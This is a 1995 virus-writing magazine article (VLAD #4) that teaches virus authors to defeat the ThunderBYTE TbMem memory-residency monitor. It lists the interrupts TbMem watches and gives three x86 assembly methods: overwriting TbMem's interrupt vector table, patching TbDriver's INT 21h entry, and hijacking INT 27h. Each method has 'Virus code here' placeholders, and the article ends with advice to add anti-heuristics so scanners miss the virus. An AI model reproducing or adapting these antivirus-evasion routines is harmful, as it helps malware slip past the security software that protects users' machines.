home *** CD-ROM | disk | FTP | other *** search
/ Cuteskunk BBS / cuteskunk.zip / cuteskunk / Virus / Virus-Magazines / Vlad / vlad#4.zip / ARTICLE.2_6 < prev    next >
Text File  |  1995-04-25  |  12KB  |  318 lines

  1.              
  2.              T B M E M   F L A W S
  3.                    Written by
  4.                   Darkman/VLAD
  5.  
  6.  
  7. ────────────
  8. Introduction
  9. ────────────
  10.  
  11.   This document is another example of how to make a program resident in memory
  12. without the memory resident of ThunderBYTE Anti-Virus: TbMem detects it. This
  13. document also covers which interrupts are hooked by TbMem and which interrupts
  14. are monitored by TbMem. All examples in this document will hook interrupt 21h.
  15.  
  16. ────────────────────────────
  17. Thunderbyte B.V. about TbMem
  18. ────────────────────────────
  19.  
  20.      Controlling memory: TbMem
  21.  
  22.      TbMem detects attempts from programs to remain resident in memory, and
  23.      ensures that no program can remain resident in memory without permis-
  24.      sion. Since most viruses remain resident in memory, this is a powerful
  25.      weapon against all such viruses, known or unknown. Permission informa-
  26.      tion is maintained in the Anti-Vir.Dat files. TbMem also protects your
  27.      CMOS memory against unwanted modifications.
  28.  
  29. ─────────────────────────-
  30. Interrupts hooked by TbMem
  31. ──────────────────────────
  32.  
  33. These interrupts are hooked by TbMem:
  34.                        
  35.   INT 09h (IRQ 1  Keyboard)                [TBSeg:0269]
  36.   INT 2Fh (Software Multiplex)             [TBSeg:00DB]
  37.  
  38. ────────────────────────────-
  39. Interrupts monitored by TbMem
  40. ─────────────────────────────
  41.  
  42. These interrupts are monitored by TbMem:
  43.  
  44.   INT 08h (IRQ 0  System timer)            [TBSeg:0060]
  45.   INT 09h (IRQ 1  Keyboard)                [TBSeg:0064]
  46.   INT 10h (BIOS System Video Services)     [TBSeg:0068]
  47.   INT 13h (BIOS Fixed disk/FDD Services)   [TBSeg:004C]
  48.   INT 15h (BIOS System Services)           [TBSeg:0088]
  49.   INT 16h (BIOS Keyboard Services)         [TBSeg:006C]
  50.   INT 17h (BIOS Printer Services (LPT))    [TBSeg:007C]
  51.   INT 1Ah (BIOS Real-Time Clock Services)  [TBSeg:0074]
  52.   INT 1Ch (BIOS User Timer Tick)           [TBSeg:005C]
  53.   INT 20h (DOS Program Terminate)          [TBSeg:0050]
  54.   INT 21h (DOS Function call)              [TBSeg:0054]
  55.   INT 26h (DOS Absolute Disk Write)        [TBSeg:0090]
  56.   INT 28h (DOS Idle)                       [TBSeg:0070]
  57.   INT 29h (DOS Fast Console Output)        [TBSeg:0078]
  58.   INT 2Ah (Local Area Network)             [TBSeg:0098]
  59.   INT 2Fh (Software Multiplex)             [TBSeg:0058]
  60.   INT 40h (BIOS Diskette Service)          [TBSeg:008C]
  61.   INT 50h (BIOS Reserved)                  [TBSeg:0094]
  62.   INT 70h (IRQ 8  AT Real Time Clock)      [TBSeg:0080]
  63.   INT 76h (IRQ 14 AT Fixed Disk)           [TBSeg:0084]
  64.  
  65.   TbMem will also warn the user if INT 27h (DOS Terminate and Stay Res.) or
  66. INT 21h, function 31h (DOS Function call, Terminate but stay resident) is
  67. called.
  68.  
  69. ─────────────────────-
  70. How to trick TbMem 1/3
  71. ──────────────────────
  72.  
  73. The below code must be included to trick TbMem 1/3:
  74.  
  75.   1. Hook interrupt 21h.
  76.   2. Modify TbMems interrupt vector table.
  77.  
  78. ─────────────────-
  79. Hook interrupt 21h
  80. ──────────────────
  81.  
  82. The below code shows an example of how to hook interrupt 21h:
  83.  
  84. ;------------------------------------------------------------=< cut here >=---
  85.          push    ds                  ; Save DS at stack
  86.          xor     ax,ax               ; Clear AX
  87.          mov     ds,ax               ; DS = segment of interrupt table
  88.          lea     di,int21adr         ; DI = offset of int21adr
  89.          mov     si,(21h*04h)        ; SI = offset of interrupt 21h
  90.          movsw                       ; Store address of interrupt 21h \
  91.          movsw                       ; in int21adr                    /
  92.          mov     word ptr ds:[21h*04h],offset int21handler
  93.          mov     ds:[21h*04h+02h],es ; Intercept interrupt 21h
  94.          pop     ds                  ; Load DS from stack
  95. ;------------------------------------------------------------=< cut here >=---
  96.  
  97. ───────────────────────────────────-
  98. Modify TbMems interrupt vector table
  99. ────────────────────────────────────
  100.  
  101.   The below code shows an example of how to modify TbMems interrupt vector
  102. table:
  103.  
  104. ;------------------------------------------------------------=< cut here >=---
  105.          push    ds                  ; Save DS at stack
  106.          xor     ax,ax               ; Clear AX
  107.          mov     ds,ax               ; DS = segment of interrupt vectors
  108.          mov     ds,ds:[09h*04+02h]  ; DS = Segment of TbMem
  109.          mov     word ptr ds:[0054h],offset int21handler
  110.          mov     ds:[0056h],es       ; Modify the segment of interrupt 21h
  111.          push    ds                  ; Save DS at stack
  112. ;------------------------------------------------------------=< cut here >=---
  113.  
  114. ──────────────────────
  115. How to trick TbMem 2/3
  116. ─────────────────────-
  117.  
  118. The below code must be included to trick TbMem 2/3:
  119.  
  120.   1. Installation check.
  121.   2. Hook interrupt 60h.
  122.   3. Modify TbDrivers interrupt 21h.
  123.   4. Interrupt 60h handler.
  124.  
  125. ─────────────────-
  126. Installation check
  127. ─────────────────-
  128.  
  129.   The below code shows an example of how to check if the trick allready has
  130. been installed:
  131.  
  132. ;------------------------------------------------------------=< cut here >=---
  133.          mov     ax,63ffh            ; Interrupt 21h service
  134.          int     21h                 ; Do it!
  135.          cmp     ax,bx               ; Already resident?
  136.          je      trickexit           ; Equal? Jump to trickexit
  137.  
  138. ; Trick TbMem here...
  139.  
  140. trickexit:
  141. ;------------------------------------------------------------=< cut here >=---
  142.  
  143. ─────────────────-
  144. Hook interrupt 60h
  145. ──────────────────
  146.  
  147. The below code shows an example of how to hook interrupt 60h:
  148.  
  149. ;------------------------------------------------------------=< cut here >=---
  150.          push    ds                  ; Save DS at stack
  151.          xor     ax,ax               ; Clear AX
  152.          mov     ds,ax               ; DS = segment of interrupt table
  153.          mov     word ptr ds:[60h*04h],offset int60handler
  154.          mov     ds:[60h*04h+02h],es ; Intercept interrupt 60h
  155.          pop     ds                  ; Load DS from stack
  156. ;------------------------------------------------------------=< cut here >=---
  157.  
  158. ─────────────────────────────-
  159. Modify TbDrivers interrupt 21h
  160. ──────────────────────────────
  161.  
  162. The below code shows an example of how to modify TbDrivers interrupt 21h:
  163.  
  164. ;------------------------------------------------------------=< cut here >=---
  165.          push    ds                  ; Save DS at stack
  166.          xor     ax,ax               ; Clear AX
  167.          mov     ds,ax               ; DS = segment of interrupt vectors
  168.          lds     si,ds:[21h*04h]     ; Get address of interrupt 21h
  169.          mov     [si],060cdh         ; Write a INT 60h instruction
  170.          pop     ds                  ; Load DS from stack
  171. ;------------------------------------------------------------=< cut here >=---
  172.  
  173. ────────────────────-
  174. Interrupt 60h handler
  175. ────────────────────-
  176.  
  177. The below code shows an example of an interrupt 60h handler:
  178.  
  179. ;------------------------------------------------------------=< cut here >=---
  180. int60handler proc    near                ; Interrupt 60h handler
  181.          cmp     ax,63ffh            ; Interrupt 60h service?
  182.          je      int60servi          ; Equal? Jump to int60servi
  183.  
  184. ; Virus code here...
  185.  
  186.          iret                        ; Interrupt return!
  187. int60servi:
  188.          mov     bx,ax
  189.          iret                        ; Interrupt return!
  190.          endp
  191. ;------------------------------------------------------------=< cut here >=---
  192.  
  193. ─────────────────────-
  194. How to trick TbMem 3/3
  195. ─────────────────────-
  196.  
  197. The below code must be included to trick TbMem 3/3:
  198.  
  199.   1. Installation check.
  200.   2, Hook interrupt 27h.
  201.   3. Interrupt 27h handler.
  202.   4. Interrupt 21h handler.
  203.  
  204. ─────────────────-
  205. Installation check
  206. ─────────────────-
  207.  
  208.   The below code shows an example of how to check if the trick allready has
  209. been installed:
  210.  
  211. ;------------------------------------------------------------=< cut here >=---
  212.          push    ds                  ; Save DS at stack
  213.          xor     ax,ax               ; Clear AX
  214.          mov     ds,ax               ; DS = segment of interrupt vectors
  215.          lds     si,ds:[27h*04h]     ; Get address of interrupt 27h
  216.          cmp     [si],5350h          ; Interrupt 27h hooked?
  217.          pop     ds                  ; Load DS from stack
  218.          je      trickexit           ; Already hooked? Jump to trickexit
  219.  
  220. ; Trick TbMem here...
  221.  
  222. trickexit:
  223. ;------------------------------------------------------------=< cut here >=---
  224.  
  225. ─────────────────-
  226. Hook interrupt 27h
  227. ─────────────────-
  228.  
  229. The below code shows an example of how to hook interrupt 27h:
  230.  
  231. ;------------------------------------------------------------=< cut here >=---
  232.          push    ds                  ; Save DS at stack
  233.          xor     ax,ax               ; Clear AX
  234.          mov     ds,ax               ; DS = segment of interrupt table
  235.          lea     di,int27adr         ; DI = offset of int27adr
  236.          mov     si,(27h*04h)        ; SI = offset of interrupt 27h
  237.          movsw                       ; Store address of interrupt 27h \
  238.          movsw                       ; in int27adr                    /
  239.          mov     word ptr ds:[27h*04h],offset int27handler
  240.          mov     ds:[27h*04h+02h],es ; Intercept interrupt 27h
  241.          pop     ds                  ; Load DS from stack
  242. ;------------------------------------------------------------=< cut here >=---
  243.  
  244. ────────────────────-
  245. Interrupt 27h handler
  246. ────────────────────-
  247.  
  248. The below code shows an example of an interrupt 27h handler:
  249.  
  250. ;------------------------------------------------------------=< cut here >=---
  251. int27handler proc    near                ; Interrupt 27h handler
  252.          push    ax                  ; Save AX at stack
  253.          push    bx                  ; Save BX at stack
  254.  
  255.          mov     ax,63feh            ; Interrupt 21h service
  256.          int     21h                 ; Do it!
  257.          cmp     ax,bx               ; Already resident?
  258.          je      int27exit           ; Equal? Jump to int27exit
  259.  
  260.          push    di                  ; Save DI at stack
  261.          push    si                  ; Save SI at stack
  262.          push    ds                  ; Save DS at stack
  263.          push    es                  ; Save ES at stack
  264.  
  265.          xor     ax,ax               ; Clear AX
  266.          mov     ds,ax               ; DS = segment of interrupt table
  267.          push    cs                  ; Save CS at stack
  268.          pop     es                  ; Load ES from stack
  269.          lea     di,int21adr         ; DI = offset of int21adr
  270.          mov     si,(21h*04h)        ; SI = offset of interrupt 21h
  271.          movsw                       ; Store address of interrupt 21h \
  272.          movsw                       ; in int21adr                    /
  273.          mov     word ptr ds:[21h*04h],offset int21handler
  274.          mov     ds:[21h*04h+02h],cs ; Intercept interrupt 21h
  275.  
  276.          pop     es                  ; Load ES from stack
  277.          pop     ds                  ; Load DS from stack
  278.          pop     si                  ; Load SI from stack
  279.          pop     di                  ; Load DI from stack
  280. int27exit:
  281.          pop     bx                  ; Load BX from stack
  282.          pop     ax                  ; Load AX from stack
  283.  
  284.          db      0eah                ; Object code of jump far
  285. int27adr     dd      ?                   ; Address of interrupt 27h
  286.          endp
  287. ;------------------------------------------------------------=< cut here >=---
  288.  
  289. ────────────────────-
  290. Interrupt 21h handler
  291. ────────────────────-
  292.  
  293. The below code shows an example of an interrupt 21h handler:
  294.  
  295. ;------------------------------------------------------------=< cut here >=---
  296. int21handler proc    near                ; Interrupt 21h handler
  297.          cmp     ax,63feh            ; Interrupt 21h service?
  298.          je      int21servi          ; Equal? Jump to int21servi
  299.  
  300. ; Virus code here...
  301.  
  302.          db      0eah                ; Object code of jump far
  303. int21adr     dd      ?                   ; Address of interrupt 21h
  304. int21servi:
  305.          mov     bx,ax
  306.          iret                        ; Interrupt return!
  307.          endp
  308. ;------------------------------------------------------------=< cut here >=---
  309.  
  310. ────────────────────-
  311. Final tips and tricks
  312. ────────────────────-
  313.  
  314. - Detect TbMem before using these tricks.
  315. - These examples were tested with ThunderBYTE Anti-Virus v 6.32.
  316. - Use a lot anti-heuristics, so other programs can't find the virus either.
  317. - Look also at Catch-22 by Rhincewind/VLAD.
  318.